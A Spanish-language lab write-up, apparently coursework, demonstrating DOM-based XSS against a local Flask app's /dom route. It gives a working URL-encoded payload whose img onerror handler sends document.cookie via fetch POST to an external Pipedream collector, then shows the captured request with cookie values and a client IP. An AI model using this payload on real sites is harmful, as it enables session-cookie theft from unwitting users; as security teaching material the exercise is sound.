Práctica 7.3: DOM-based XSS

Cómo realizar el ataque

1. Inicia la aplicación Flask ejecutando `python app.py` en la carpeta `3`.
2. Crea un endpoint en `https://pipedream.com`: `https://eoay3fm9fuuq3wd.m.pipedream.net`.
3. (Opcional) Inicia sesión en `http://localhost:5003/login` con las credenciales de un usuario (por ejemplo, `admin`/`admin`) para generar una cookie de sesión, o usa una cookie de prueba configurada en la ruta `/dom`.
4. Abre un navegador (Firefox o Pale Moon) y accede a:

   `http://localhost:5003/dom?q=%3Cimg%20src%3Dx%20onerror%3D%22fetch(%27https://eoay3fm9fuuq3wd.m.pipedream.net%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Adocument.cookie%7D)%22%3E`
5. La plantilla `dom.html` inserta el parámetro `q` en el DOM con `innerHTML`, ejecutando el script en el atributo `onerror` de la etiqueta `<img>`.

Resultado

- El script envía una solicitud POST a `https://eoay3fm9fuuq3wd.m.pipedream.net` con las cookies del navegador en el cuerpo de la solicitud.
- En Pipedream, se observa la solicitud POST con un cuerpo como `test_cookie=test_value_123` : “steps.trigger{2}

  context{19}

  event{7}

  method:`POST`

  path:`/`

  •

  query{0}

  client_ip:`47.62.14.56`

  url:`https://eoay3fm9fuuq3wd.m.pipedream.net/`

  headers{13}

  body

  `language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; test_cookie=test_value_123"`
- Esto demuestra que la aplicación es vulnerable a DOM-based XSS, permitiendo el robo de cookies.